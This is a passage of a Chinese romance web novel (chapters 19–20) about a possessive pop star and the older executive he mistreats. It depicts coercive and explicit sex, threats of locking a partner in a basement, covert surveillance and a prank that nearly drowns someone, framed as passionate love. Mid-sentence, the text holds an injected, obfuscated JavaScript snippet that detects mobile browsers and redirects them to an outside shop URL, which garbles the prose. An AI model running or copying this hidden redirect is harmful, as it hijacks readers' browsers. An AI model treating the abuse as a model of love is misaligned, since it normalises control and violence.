盛灼站起身,迈着散漫的步子走到宋鹤清面前。微微低头,逼近宋鹤清,眼里闪恶劣的光。 “看吧,我早就说过,你年纪又大,长得又……”他的语气带着戏谑的恶意,刻意停顿一下,目光在宋鹤清脸上扫过,“……普通。性格更是无趣呆板。除了我,这世上还有谁会对你这种人有‘性’趣?” 宋鹤清目光沉静:“阿灼,我可以任你羞辱。但是你不要羞辱一个姑娘。她还年轻,只是一时糊涂,不该被如此对待。” 盛灼眼神骤然冷了下去:“你还真是慈悲为怀,普度众生啊。这么喜欢当圣人,怎么不去庙里坐在神龛里当菩萨,受世人香火供奉?” 他的话越发刻薄,带着积压已久的怨气。 忽然盛灼像是想起了什么,阴阳怪气道:“哦,我想起来了,”温热的气息喷洒在对方敏感的耳廓上,“我记得有个人曾说从小到大的梦想是当医生救死扶伤,怎么后来还是弃医从商,当起了高高在上的‘宋总’,拿起了千万年薪,在名利场里和权贵们打交道呢?真是虚伪啊。” 宋鹤清的嘴唇抿成一条苍白的直线,下颌线绷得紧紧的。 那些话像无数根针,密密麻麻地扎进他的心脏,带来绵密而尖锐的疼痛。 他将翻涌的情绪死死压在心底,最终选择了沉默,像过去无数次那样,默默承受着一切。 盛灼看着他这副逆来顺受的样子,心中那股无名火越烧越旺。 他猛地伸出大手扣住宋鹤清优雅修长的脖颈,力道不轻,带着不容拒绝的强势,狠狠地吻了上去。带着教训的意味。 宋鹤清没有反抗,只是被动地承受着,闭上的眼睫微微颤抖。 今晚盛灼格外狠,好像要把宋鹤清的灵魂都弄碎。 他霸道而强势,不放过宋鹤清每一寸,里里外外都要留下自己的痕迹,以此显示完全占有。 宋鹤清的眼泪和求饶是催化剂,不会换来停止征伐,只会换来更疯狂的侵略。 看着宋鹤清在人前一副清高自持的模样,他就想狠狠按在身下折辱,想看到宋鹤清伪装的圣洁被撕碎,暴露最真实的模样。 - 但自那晚之后,盛灼都会深夜才回酒店套房。每天都和郑南星在录音室合练到很晚。 像是故意在报复宋鹤清,让他尝尝独守空房的滋味。 宋鹤清一个人在房间里等待盛灼回来,心里也确实百般不是滋味,会开始胡思乱想。 会想他们一起工作的时候,郑南星是不是像只小鸟一样围着盛灼叽叽喳喳? 会想他们练晚了会吃夜宵吗?郑南星会买什么夜宵给盛灼吃? 会想他们在合唱的时候,两个音乐天才会不会产生一种灵魂上的共鸣与默契? 还会想……盛灼会不会喜欢上年轻、活泼、有音乐天赋的郑南星呢? 越想,心脏就越难受,窒息般的难受。 一股难以言喻的酸涩情绪缠绕上他的心脏——那是嫉妒。 虽然他知道自己不该去嫉妒一个小男孩。 - 这天下午,综艺录制结束后,宋鹤清去了录音室所在的楼层。 他站在录音室的隔音玻璃外,像一个窥探者,静静地看着里面的两人。 郑南星似乎在和盛灼讨论某个段落的和声,表情认真又活泼。 盛灼靠在控制台边,侧耳听着,偶尔点头,或是指出什么问题。 两人相处看起来无比和谐。 宋鹤清听不见里面的声音,但能想象歌声应该无比美妙。 一颗心如同绑上了沉重的石块,不断地向下沉,向下沉。 如果自己不是天生五音不全就好了。连唱首简单旋律的儿歌都会跑调。从来不敢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17529090|203639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在任何场合唱歌,怕被人耻笑,也怕被盛灼厌恶嫌弃。 这是他人生中无论如何努力都无法弥补的缺憾。 宋鹤清不敢再看,独自坐在走廊的长椅上静静等待。 晚上23点,录音室的门终于打开了。 宋鹤清立刻抬起头,以为今天结束得早,可以等到盛灼回套房了。没想到只有郑南星一个人出来了。 郑南星看到他在这里,脸上露出活泼的笑容,几步走过来,语气熟稔又自然:“宋哥哥你来了啊!那正好,就不用我特意跑下去买夜宵了。劳烦宋哥哥帮我们买两份夜宵上来吧?” 宋鹤清脸上的表情空白了几秒,随后勉强露出一个笑:“好。” 走出大楼,北方冬夜凛冽的寒风像刀子一样,脸颊被吹得有些疼。 他下意识地拢紧了颈间的羊毛围巾,将半张脸埋进去,却依旧抵挡不住那无孔不入的寒意。 忍着寒冷步行到不远处的夜市一条街。 喧嚣和香气扑面而来。 他买了两碗热气腾腾的小馄饨,又买了两碗招牌的老北京炸酱面。 在向老板询问价钱时,他能清晰看到自己嘴里呼出的白气,在寒冷的空气中迅速消散。 掏出手机扫码付款时,手指已经冻得僵硬麻木,几乎有些不听使唤。 等重新回到开着暖气的大楼里时,才感觉身体舒服多了。 坐电梯上楼,走到录音室窗外,举起手中的袋子示意。 里面的盛灼抬眼,目光冷淡地在他脸上和他手中的袋子上扫过,重新低下头,看向手里的乐谱,仿佛他只是个无关紧要的外卖员。 倒是郑南星笑着站起身,快步走出来,热情地接过袋子:“谢谢宋哥哥!辛苦了辛苦了!多少钱?我转给你。” “不用了。”宋鹤清声音平静,“你们趁热吃吧。我先回去了。” “好嘞!宋哥哥明天还来吗?”郑南星笑着问,眼神清澈,似乎只是随口一问。 宋鹤清看着他那张神采飞扬的笑脸,心口那股堵着的感觉越发明显。他移开视线,轻声道:“明天有点事要处理,应该不过来了。” “那好吧。宋哥哥再见!”郑南星说完便利落地转身关上了录音室的门。 宋鹤清站在紧闭的房门外,沉默地看着门板。许久后转身离开。 次日晚上,盛灼依旧去了录音室。 而这一次,他一夜未归。 宋鹤清也一夜未眠。 他躺在总统套房的大床上,睁着眼睛,望着天花板上模糊的轮廓。 脑海中不受控制地反复浮现郑南星像只快乐的小鸟儿,围绕在盛灼身边叽叽喳喳、活泼可爱的模样。 那样神采飞扬,那样生动活泼,那样……讨人喜欢。 这或许就是盛灼说的讨喜的性格吧? 那自己还真是学不会。 一夜未归。 他们是练习了一整晚吗?还是…… 宋鹤清不敢再往下想。 他也强迫自己不许再往下想。 仿佛只要他不去深思,不去触碰,就可以自欺欺人地说服自己——他们之间,什么特别的事情都没有发生。 盛灼依旧是那个傲慢到骨子里的盛灼。 他从小就是人群的焦点,是备受追捧的天之骄子。生来就是顶级豪门,在学校是风云人物,在娱乐圈是红透半边天的巨星顶流。 圈内圈外对他示好,企图与他捆绑的人如过江之鲫,男男女女,数不胜数。 可盛灼从未对谁真正另眼相看。他骨子里的傲慢与挑剔,宋鹤清比任何人都清楚。 他甚至记得,曾经有几个女明星想借盛灼的名气炒作,故意制造暧昧视频和通稿,结果被盛灼那些战斗力恐怖的“毒唯”粉丝骂到不敢再炒作。 想到这里,宋鹤清稍微平复了一些。 是的,他应该相信盛灼。 盛灼对郑南星,大概率只是出于对天赋学员的欣赏,是对其音乐才华的惜才。 绝不可能是那种意义上的喜欢。 他一遍遍地如此告诉自己。 窗外的天色渐渐由浓墨般的漆黑,转向沉寂的灰蓝。 天要亮了。 19、第19章 第19章: 次日,《奇迹之声》录制现场。 宋鹤清是到得最早的那一个。 空旷的录制大厅里灯光还未全部亮起,显得有些冷清。 他手里提着一个纸袋,里面是热乎的早餐,以及一杯特意绕路去买的热豆浆。 他将早餐放在盛灼休息间那张化妆台上。然后在沙发上坐了下来,安静地等待。 十几分钟后,外面的人声逐渐嘈杂起来,大家基本都到齐了。 然而盛灼没有踏进这间休息室。他直接去了舞台,坐在了导师席上,准备开始上午的录制。 宋鹤清看着那份冷掉的早餐,手指微微蜷缩了一下。他原本还想着等盛灼来了就用微波炉加热。 现在看来,连这点微末的关心都显得多余而可笑。 也不知道盛灼吃早餐了没。 又是从哪里过来的? 是酒店,还是……别的什么地方? 和谁一起吃的早餐? 这些念头像细小的藤蔓,缠绕着他的心,越收越紧。 一上午的录制盛灼都没有看他一眼。 宋鹤清像往常一样给他递水杯,盛灼完全无视他。 那种彻底的无视,比直接的怒火更让人窒息。 宋鹤清宁愿盛灼惩罚教训自己,也不要像空气一样被无视。 他们存在于同一空间,他却对盛灼毫无意义。 周围的工作人员也发现了有点不同寻常,发现两人之间的气氛怪怪,像是吵架了。但也不敢胡乱揣测,也不敢去问什么。 宋鹤清想趁着午间休息的时候跟盛灼说说话。于是他守在休息室里,内心演练了好几遍待会儿怎么开口。 可盛灼中午也不回休息室,他离开录制大厅不知去哪儿了。 空荡的休息室里,只有宋鹤清一个人坐了整整两个小时。 手机拿起又放下,反复数次。怕烦到他,更怕换来更伤人的话。 这样的冷暴力不知道是多少次了,宋鹤清的手又开始控制不住地颤抖。 今天的录制是战队晋级赛的最后一期,气氛格外紧张。每个战队只剩下两名选手,盛灼战队里留下的是于少波和毫无悬念的郑南星。 于少波并非天赋型歌手,而是努力型歌手,悟性极高。在盛灼的指导下,他的进步非常明显。 他的优势在高音稳定、坚实且充满力量,能在歌曲的关键节点精准爆发,如同利剑出鞘,直击人心。他对情感的处理也愈发细腻,深刻理解了歌曲的层次与脉络。 更令人惊喜的是,他掌握了弱混与强混声的技巧,并能做到切换自然,使得现场表演充满了动人的感染力。 其他四个战队的晋级选手同样实力超群,各有千秋,竞争越发激烈。 最后的决赛令所有人都无比好奇冠军是谁。 下午六点多,录制比预期提前结束。 宋鹤清深吸一口气,终于有机会去找盛灼,却看见郑南星像一只欢快的小鸟一样快步跑到盛灼跟前,脸上洋溢着青春无敌的灿烂笑容,叽叽喳喳地说着什么。 那一刻,宋鹤清鼓起的勇气再次消失了。 脚步钉在原地,袖中的手攥紧,指甲深深陷入掌心。 他这辈子都学不会那样的活泼和天真。 忽然盛灼侧过头,目光穿透忙碌穿梭的人群,精准而冷沉地落在了宋鹤清的身上。 宋鹤清的心猛地一跳,以为盛灼要召唤他过去。 然而盛灼很快收回视线,转身离开,郑南星立马紧随其后,像个跟班一样快步跟上。 宋鹤清心中刚刚荡起的涟漪也消失了。 他宁愿盛灼冲他发脾气,也不想发完脾气后受到漫长的冷暴力。 原以为这么多年的时间,足够他习惯这种忽冷忽热。可事实是他不仅没能习惯,反而还会应激下产生肢体无法控制的颤抖。 周围都是人,他不能失态。 宋鹤清强忍着快步向外走去。步伐因为急促而显得有些踉跄,背影是难以掩饰的狼狈。 上一次这样的冷暴力持续了一个月。 引爆点是他和骆衡一起参加了东大中医大学的百年校庆。 骆衡是他大学室友,也是同学,相识至今已有十五年。 从同窗到并肩实习的伙伴,再到共同创办“君和中医院”的合伙人,他们是至交好友,是能够托付事业与信任的伙伴。 校庆那天,他们作为优秀校友受邀出席,在座谈会上与学弟学妹分享创业历程,面对媒体镜头宣布未来的公益计划。 中医大学百年校庆相关的报道和照片登上了东城新闻热榜。其中一张他和骆衡并肩而立笑对镜头的照片,引得网友热议。 因为照片里的他们三十而立,风华正茂,姿容出众, 评论区有网友猜测他们关系非同一般,感觉是情侣,还说“很是相配”。 当晚回到家,盛灼就跟他发了一通脾气,夜里更是发狠地操\他。第二天一早盛灼就坐飞机去外地开巡回演唱会了。 期间宋鹤清好几次提起要去找他,都被无视或者拒绝。 一整个月都没能见到盛灼。那种若即若离的感觉让他患得患失,无比煎熬。 现在这次冷暴力要持续多久? 再来一个月吗? 宋鹤清想,那自己可能真的有点承受不住了。 - 宋鹤清疲惫地回到那间奢华却冰冷的总统套房,独自坐在沙发上。 窗外京市的璀璨夜景仿佛与他隔着一层无形的屏障,热闹是别人的,他只有一室孤寂。 手指在手机屏幕上悬停许久,终于发出了那条卑微的信息:【阿灼,如果你之后都不需要我,或者不想看到我,我马上买今天的机票回东城,不再碍你的眼。】 等待回复的每一秒都格外漫长,心也一点点沉下去。 直到消息提示音响起,屏幕上跳出的那五个字无比冰冷:【你在威胁我?】 宋鹤清呼吸一窒,他哪里敢威胁他呢?他只是怕自己碍眼,怕自己惹他厌恶。 正想解释,郑南星的电话却猝不及防地打了进来:【宋哥哥,你马上来一趟录音室吧。】 宋鹤清心里一喜,刚刚沉入谷底的心竟又不受控制地燃起希冀。 他穿上外套立刻赶往大楼,顾不上整理被风吹得有些凌乱的头发。站在录音室的玻璃窗外,他微微喘着粗气,看向里面的盛灼,示意自己到了。 然而盛灼只是淡漠地瞥了他一眼,随即又收回了视线,再没有多看他一眼。 一旁的郑南星打开门走出来,带着他那标志性的纯真无邪的笑容说:“宋哥哥,你来得好快啊。” 他语气带着几分恰到好处的歉意:“正准备给你打电话叫你不用来了呢。因为盛老师说……”他顿了顿,“他又没什么事找你了。” 说完后露出一个无奈的表情,还调皮地吐了一下舌头。 宋鹤清眼里的光彩瞬间黯然。 原来是刻意地召之即来,挥之即去,是为了让他难堪,是为了提醒他的多余和不受欢迎。是为了惩罚他说的那句买机票离开。 一股强烈的屈辱感攫住了他。 他宁愿盛灼亲自给他难堪,也好过通过一个外人来执行这场无声的惩罚。 这让他连最后一点维持体面的底气都快要消失殆尽。 宋鹤清不想自己表情太难看,努力牵起嘴角,对着郑南星露出了一个微笑,说好的,然后僵硬地转身离开。 走出大楼,凛冽的寒风迎面刮来,吹得他脸颊生疼。眼眶里不受控制地溢出湿意,被他随手抹干。 手机铃声再次响起,他心脏猛地一跳,几乎是条件反射地希望是盛灼。 然而屏幕上闪烁的名字却是“庄苏寻”。倒是有些意外。 他深吸一口气,努力让自己的声音听起来平稳如常:【喂,庄总。】 电话那头的庄苏寻依旧是吊儿郎当的腔调:【宋总,我今天早上来找你谈项目合作,你秘书说你早就出差去京市了?】 【是的庄总,项目合作的事我接洽给副总了,您可以找他……】 【我就找你,别人免谈。】庄苏寻任性地打断他,带着惯有的霸道。 【可是我现在在京市,隔着电话谈怕是没诚意。】宋鹤清拢了拢围巾,试图做最后的挣扎,他此刻身心俱疲,实在没有精力应付这位难缠的公子哥。 庄苏寻却轻笑一声:【巧了不是?我今天也来京市出差了,正好跟你同一片天儿。明天抽个时间见面谈吧。怎么样宋总~】 最后那个拖长的尾音带着执拗的意味。 宋鹤清疲惫地抬手,捏了捏突突直跳的太阳穴,恰好一辆空载的出租车驶来,他抬手拦下,拉开车门坐了进去:【好。】 挂断电话,宋鹤清靠在椅背上,长长地叹了一口气。 这庄苏寻也不是个好伺候的主儿。 这个名字本身就代表着麻烦。 他是盛灼从小玩到大的发小,小时候没少跟盛灼一起欺负他。 这位公子哥也是出了名的混账,名声在东城的上流圈子里无人不晓。 别看他平时嬉皮笑脸,但手段狠厉,将老庄总在外的几个私生子全都“送”去了国外,放话有他在一天,那些人就别想回国,把老庄总气得住院。 自从七年前宋鹤清出任盛鼎集团ceo一职后,庄苏寻就仿佛找到了新的“乐趣”,在工作上处处给他设绊子,找麻烦。 在庄苏寻对他地刻板印象里,固执地认为宋鹤清讨好盛朗,伺候盛灼,目的就是为了分到盛家的财产。 宋鹤清从未解释过。误会便误会吧。 至少这个误会比真实的原因体面多了。 不过庄苏寻此人虽然难缠,行事乖张,但在商业合作上却并非胡搅蛮缠之辈。 这些年来双方倒也合作过多次,每次的合作结果都算愉快。 可过程……着实磨人。 这位公子哥的德性很怪,必须事事如了他的意,让他觉得顺心满意了,合作才能顺利推进。 否则他宁愿放着利益不要,也要耗着你,直到你低头妥协。 上一次合作之前,庄苏寻非要拉着他去看一个当代艺术画展,还非得让他对每一幅画进行点评。 可他又偏是对艺术一窍不通的人,说不出个所以然。 所以当晚回去被庄苏寻要求写一篇不少于三千字的观后感。 庄苏寻还给他打视频电话,说是要看着他写,以防找人代笔。幼稚得可恶。 写好以后庄苏寻要是不满意,他就得一遍遍地修改重写,直到那位大少爷大发慈悲地表示“还行”为止。 他还记得那个视频电话打了四五个小时,挂断的时候都是凌晨十二点了。 也不知道这位公子哥是哪儿来的闲心,如此乐此不疲地折磨他。 一想到明天又要面对庄苏寻那个磨人的公子哥,以及不知会从哪个角度刁难他,宋鹤清就感到一阵深深的无力。【..top】 20、第20章 【第20章】: 窗外夜色浓稠。 总统套房里没有开灯,只有远处的高楼大厦的灯光透过落地窗投下微弱光亮。 宋鹤清没有像往常一样在床上等待。 他蜷缩在客厅的沙发里,薄毯随意搭在身上,整个人几乎要陷进柔软的靠垫中。 偌大的套房室内空荡荡的,十分安静,只听得到他自己清浅的呼吸。 墙上的时钟被他看了无数次,每次都期待着盛灼能在下一分钟回来,可每次期待都落空。 此时钟面上显示着23点。 盛灼今晚还会回来吗? 宋鹤清望着昏暗光线下某处虚无的点,漂亮的桃花眼失去了焦距,只剩下一片悲哀的荒芜。 他像一只被遗弃的小船,在名为“盛灼”的海洋里漂泊无依,不知停泊的港湾在哪儿。 就在他闭上眼准备强迫自己睡觉时,忽然传来开门声。 宋鹤清瞬间绷直脊背,猛地撑起上身看向门口。 一道熟悉的高大身影出现在眼前,轮廓在昏暗的玄关中切割出冷硬的线条。 宋鹤清飞快掀开薄毯,没了平日的沉稳,甚至来不及穿拖鞋,赤着脚快步冲了过去,从正面紧紧抱住了盛灼的腰。 脸颊深深埋进盛灼温热的颈窝,贪婪地汲取盛灼身上熟悉的雪松香。 “阿灼……”他的声音带着颤抖,“阿灼……” 环在盛灼腰后的手死死揪住衣料。 “求你理理我……”他哽咽着,卑微得像尘埃,“看看我好不好?” “你骂我也好,教训我也好,惩罚我也好,别不理我……我受不了你看不见我……” “我错了,阿灼,求你别不理我……” 他就像一个乞丐,在乞讨盛灼的爱。 头顶却传来一声极轻的嗤笑,低沉的嗓音透着冷意:“错哪儿了?” 宋鹤清急忙回答:“我不该让你等我这么久,我不该迟到,我应该准时回来。” “还有呢?”盛灼。 还有? 宋鹤清微微一滞。 盛灼失去了耐心,情绪沉了下去,提醒道:“不许和宋桦相处时间超过一小时,不许和他有亲密举动。” “可……”宋鹤清有点不解,“那是我哥……” “你在跟我顶嘴?”盛灼的语气骤然降至冰点。 宋鹤清深吸一口气,顺从地改口:“好。” 昏暗光线中,盛灼的嘴角勾起一个满意的弧度。 他要的就是将宋鹤清的所有原则都打碎,完完全全地臣服于自己。 宋鹤清太渴望得到盛灼的爱了,这仿佛已经成了他十多年来的一种执念。 他无法从盛灼的语言中得到被爱的感受,只能从肉/体上找到一点被爱的证据。 他的手伸入盛灼的衣服,感受着热度和触感。 盛灼的身体在他的手里几乎是一点就燃。 宋鹤清每次主动,不需要多么复杂的技巧,盛灼的身体都会很诚实地给出反应。 他确信自己的身体是让盛灼感兴趣的。 下一秒,盛灼托住他的后脑勺,带着强势而霸道的力道狠狠吻了下来。 这是一个充满掠夺和侵占意味的吻,粗暴而深入,几乎要夺走对方所有的呼吸。 宋鹤清近乎虔诚地承受着,他喜欢这样激烈的吻,喜欢盛灼的强势和侵占,喜欢这种被需要被占有的感觉。 不知何时,他被带到了巨大的落地窗前。 盛灼的手按压在他的后背,迫使他双手撑在玻璃上,视野里脚下是城市璀璨而遥远的夜景。 呼出的热气在玻璃上氤氲开一团团白雾,模糊了内外的界限,模糊了视线。 宋鹤清右腿被抬起,膝盖窝被盛灼单手架在手腕上,仰着脆弱的脖颈,清秀的喉结上下滚动,呼吸越发灼热。 “咚咚咚” 盛灼狂野又凶利的地命令宋鹤清说出不堪的话。 宋鹤清顺从地说着。极大地满足了盛灼的扭曲的心理。 “狗就该忠诚于一个主人。”盛灼贴在他的耳后,声音低沉而危险,像恶魔的低语,“要是被我发现你偷腥,我就把你锁在地下室,天天被我惩罚,哪里也去不了。知道吗?” “我、我只爱阿灼一个人,”宋鹤清喘息着,眼神迷离地望着玻璃上倒映出的重叠的身影,“永远、永远……一辈子,只爱你一人。” “你最好记着你说过的话!否则你的下场会很惨。” 盛灼狭长的眼眸深邃而幽暗,像牢笼,紧紧锁住玻璃映出的那张极致媚态的脸。 宋鹤清那双天生深情温柔的桃花眼,此刻染上了潮红,在晦暗的光线下,眼波流转间,竟像极了暗夜里专门吸食男人精/气的狐狸精。 冰肌媚骨,妖而不俗,柔中带韧,冷清气质中透出极致的魅惑。 美得惊心动魄,令人疯狂。 盛灼有些咬牙切齿,十年了,他对这个人,这副模样,非但没有腻烦,反而越发想死在他身上。 他对宋鹤清这种极致的反差感毫无招架力,只能用最原始的方式掠夺他的美好。 “宋鹤清,你不许勾引别人,我会杀人。听见了吗?!” “阿灼——!”宋鹤清眼前闪过一道白光。 像一条濒临死亡的天鹅,仰起修长而脆弱的脖颈,随时有被猛兽咬断喉管的危险。 盛灼感觉自己变成了一头没有人性的野兽,眼眶发红,手臂用力,仿佛要将怀里的人揉碎,嵌入自己的骨血之中。 那短暂的不应期,让他脑海里浮现出年少时的回忆—— 那时他为了惩罚宋鹤清用录音笔偷录他的歌声,半夜光明正大去宋鹤清卧室放了监控器,以此来威慑对方不许再敢有类似行为。 可他没想到,宋鹤清不仅不害怕被监视,反而不在乎监控的存在,更像是享受被监控的感觉。 宋鹤清依旧如常生活,每次洗完澡,身上只随意套一件薄薄的丝质睡袍,带子从不系紧,松垮地挂在身上。 他的身材修长,腰细腿长,像青松玉竹。行动间,优雅的脖颈、精致的锁骨、笔直的长腿,总是若隐若现。 那是盛灼第一次观察一个男人的身体,那时他就很好奇,为什么一个男人的双腿能生得比女人还好看——修长,笔直,大腿和小腿的肌肉线条紧实流畅,皮肤白皙细腻得像玉,连膝盖都泛着淡淡的粉。 还有那双脚,脚踝纤细,脚趾圆润精致,白里透红,像是一件精心雕琢的艺术品。 不知道是怎样的手感。 握住那脚腕时,宋鹤清会不会害怕得颤抖。一想到这里盛灼就会产生一种奇妙的感觉。但转瞬即逝。 有时,宋鹤清会跪坐在柔软的地毯上,神情专注地研究针灸,在那具人体模型上练习扎针。 因为背对着监控,盛灼只能观察他的背影。 当宋鹤清微微前倾身体,腰会自然地向下塌。 那腰细窄而薄韧,好像不盈一握,却又透着一股不容折损的力量感。 监控画面里,宋鹤清不会一直保持同一个姿势。 一只手撑在模型上借力,另一只手捏着细长的毫针,侧脸看上去无比认真专注。 但那个姿势无端端生出一种撩人的欲。 那时盛灼也不过十五岁,看着监控画面时只觉得内心像被煮沸的开水,翻滚着陌生而汹涌的情绪。 他觉得奇怪,甚至感到羞耻,却又克制不住好奇紧盯着屏幕看。 甚至会幻想如果那个人体模型是自己,宋鹤清也会这样吗? 盛灼被自己的想法惊到了,恼怒地关了监控视频,嘴里不停地骂宋鹤清是狐狸精。 当天晚上他就做了不可说的梦。 梦里,他变成了宋鹤清房间里那具人体模型,不能动,也不能说话。 宋鹤清举起针。 “不——!!” 盛灼大喊一声,猛地从床上惊醒,心脏狂跳不止,身上的睡衣已被冷汗浸透。 他大口喘着粗气,原来只是一个梦。 他呆坐了许久才反应过来发生了什么。 于是猛地一拳砸在柔软的枕头上,牙齿咬得咯咯作响,一遍遍咒骂着宋鹤清。以此来缓解自己的屈辱。 盛灼换上衣服下楼吃早餐,盛朗和容曼仪还夸他今天起得早,但他的脸色却很不好。 他正味同嚼蜡地吃着早餐,楼梯口传来了宋鹤清熟悉的脚步声。 盛灼的神经瞬间绷紧,拿着叉子的手几不可察地僵硬了一下。他抿紧唇,不动声色地用余光瞥去。 宋鹤清下楼了。 今天的他穿着纯白色的短袖衬衫,纽扣一丝不苟地扣到最上面一颗。 黑色的长裤熨帖得笔直,更衬得那双腿修长好看。 脚上穿着白色休闲鞋。手腕上戴着款式简约的腕表。 全身上下都透着一股整齐、端正、沉稳的气质。 像老师眼中最可靠稳重的班干部,像父母口中懂事听话的别人家孩子,像朋友身边温和有礼的完美朋友。 与监控视频里那个媚态万千的狐狸精简直判若两人。 这种极致的反差,让盛灼心里像有只猫在不停地抓挠,隔靴搔痒,难以忍受。 心里产生一种疯狂的想法,想要撕烂他衣服、暴露他的伪装、哭着对自己求饶。 宋鹤清还是像往常一样,先是恭敬地向盛朗和容曼仪问好,然后转向盛灼,温和有礼道:“早上好,阿灼。” 往常盛灼会在盛朗面前假装兄友弟恭地回应一句“哥哥早上好”。 但今天看着宋鹤清这副正经端方的模样,再联想到那个可恶的*梦,他只觉得喉咙发紧,那句虚伪的问候怎么也说不出口。 在盛朗投来疑惑目光的瞬间,他放下刀叉,抬手扶住额头,掩饰住自己的狼狈,低声道:“抱歉父亲、母亲,哥哥,我有点不舒服,先去休息了。” 他没有真的回房休息,而是直接让司机送他去了庄苏寻家。 到了庄苏寻家里,盛灼试图用打游戏来分散自己的注意力和心里无可名状的感觉,所以和庄苏寻打游戏时比平时更容易情绪失控。 终于庄苏寻不打了,因为他看出盛灼今天的不对劲。 “你今天吃火药了?又是哪个不开眼的惹到咱们狗儿子了?” 盛灼烦躁地抓了抓头发,欲言又止,还是难以启齿地低声问道:“喂,你……做过*梦没?” “哈哈哈哈哈哈!”庄苏寻先是一愣,随即爆发出惊天动地的笑声,笑得前仰后合,猛拍大腿,“我说你怎么回事呢!快说说对象是谁?” 盛灼恼羞成怒,一脚踹在他小腿上:“老子问你呢,别嬉皮笑脸的!” 庄苏寻被他踹得歪倒在地,干脆就势趴着,仰头看他,眼里闪着八卦的光:“这又怎么了?这不是咱们青少年正常的生理心理活动吗?你至于这么大反应?” 盛灼咬着后槽牙,心里憋闷得要死。他要是梦到的是女人,哪怕是他不认识的,也不会如此恼怒。 可偏偏是个男人,还是他最厌恶、最想欺负的宋鹤清。这让他感到无比的耻辱。 “是不是做那种梦,都会……*遗?”他几乎是硬着头皮问出下一个问题。 庄苏寻眼睛瞪得像铜铃,一个骨碌爬过来,凑得极近,脸上挂着极其欠揍的坏笑:“哟嗬!可以啊你小子!梦的什么情节这么刺激,还在梦里交代了。” “你再吊儿郎当的老子真走了!”盛灼作势就要起身。 “诶诶诶,”庄苏寻连忙拉住他,勉强坐直了身体,摆出一副“我很正经”的样子,可说出来的话却依旧不着调,“人家这么纯洁才不会做那种梦呢,哪里知道会不会那啥嘛~” 盛灼气得又给了他一拳,觉得自己来找这货倾诉简直就是脑子进水了。 “上次是狗给我看的片儿。”盛灼再次起身离开。 庄苏寻跟在后面,笑嘻嘻地说:“那不就对了。肯定是因为看了那些,日有所思夜有所梦嘛,多正常。” 他追着盛灼,不依不饶:“看你反应这么大,肯定是现实中的谁。说吧,是咱班的陈茵韵,还是一班的班花何琳星?” 盛灼难以启齿,觉得庄苏寻烦透了,随便敷衍道:“是个狐狸精!” “越是遮遮掩掩,说明越是禁忌不可言说啊!难不成是……”庄苏寻摸着下巴,眼神乱飘。 “你再说一句老子踹死你!”盛灼恶狠狠地打断他,一把扯掉衣服,径直跳进了庄苏寻家那个巨大的露天泳池里。 冰凉的水暂时驱散了身体的燥热和心里的烦闷。 庄苏寻也跟着跳了下来,倒是没再追问春梦的事,而是话题一转,提起了另一个人:“狗儿子,说真的,你最近跟那个……姓宋的,相处得怎么样?” 一听人提起“宋鹤清”,盛灼像被踩了尾巴的猫,瞬间炸毛,在水里怒吼:“谁他妈跟他相处!看到他就烦,恨不得他立刻消失,去死!去死去死都去死!!” 庄苏寻愣了一下,没想到他反应这么激烈。以前也没见一提到宋鹤清他就发狂啊。 等盛灼发泄似的游了几个来回,情绪稍微平复一些后,庄苏寻才又慢悠悠地凑过来,状似无意地问:“那个宋鹤清……他是每周六才回老宅一次,对吧?” 盛灼一记眼刀飞过去。 他搞不懂庄苏寻为什么总是提起宋鹤清这个人。还对宋鹤清的行程这么感兴趣。 “是,怎么了?”他没好气地回答。 庄苏寻清了清嗓子,眼神有些飘忽,压低声音说:“我最近又想了个绝妙的点子整整他,给你出出气,要不要听听?” 盛灼蹙眉看着庄苏寻。觉得庄苏寻整宋鹤清整上瘾了。 明明这么多年了他都懒得再整宋鹤清了,偏偏庄苏寻总是乐此不疲地想出整宋鹤清的损招。 这人没其他事做吗,天天想着宋鹤清这个人,不会感到厌烦么。 “你说。”盛灼不耐烦。 庄苏寻凑到他耳边,说了整个计划,末了,脸上露出一个惯有的坏笑。 盛灼看着泳池水面,心中那股无名火还在隐隐燃烧。 或许整一整宋鹤清,看他狼狈失措的样子,自己心里这口憋闷的气就能顺畅了吧。便同意了这个损招。 时间定在下周六。 盛灼在餐桌上当着盛朗的面,友善地跟宋鹤清说要不要一起去庄苏寻家里玩。 宋鹤清握着筷子的手明显顿了一下,抬起眼,眸中闪过惊讶和犹豫。 盛灼以为他会拒绝,但最终宋鹤清还是点了点头,唇角牵起一个很浅的弧度:“好。” 那一刻盛灼心里莫名地迟疑了一下。 周六两人一同坐车前往庄苏寻家的庄园。 到了庄园里,盛灼还在心里盘算着接下来的步骤,却看到庄苏寻竟然穿着一身量身定制的高级西装,头发梳得一丝不苟,脖子上还打了个精致的小领结,脸上挂着无可挑剔的灿烂笑容迎了出来。 活脱脱一个开屏的孔雀。 这狗逼有病吧? 不知道的还以为要去参加宴会。 整宋鹤清而已,至于打扮得这么隆重吗? 庄苏寻却表现得热情又绅士,彬彬有礼地对宋鹤清说:“鹤清哥,欢迎来玩。我家后面有个天然湖,风景不错,鱼也肥,要不要去试试手气?” 宋鹤清微笑着点头答应:“好啊,麻烦你了。” 一切似乎都按照计划顺利进行。 那时的盛灼和庄苏寻都还处于少年抽条期,个子不如宋鹤清高,骨架也没他宽阔,站在宋鹤清身边,倒真像是两个需要被照顾的弟弟。 盛灼看着宋鹤清毫无防备的背影,心里冷笑:被整了那么多次,还能这么轻易相信别人,活该你倒霉! 就在宋鹤清在湖边选好位置,刚坐下拿起鱼竿,全神贯注准备垂钓时被人猛地一推! “噗通”一声巨响! 宋鹤清毫无防备地栽进了冰冷的湖水里,溅起巨大的水花。 那一刻盛灼心里是爽的。 心里确实涌起一股扭曲的快意,连日来的憋闷和烦躁都找到了宣泄的出口。 但是看到宋鹤清在水里艰难地扑腾,脑袋时沉时浮,呛水的咳嗽声断断续续传来,一副快溺水的模样,不由有些慌了。 他没想到宋鹤清居然不会游泳。 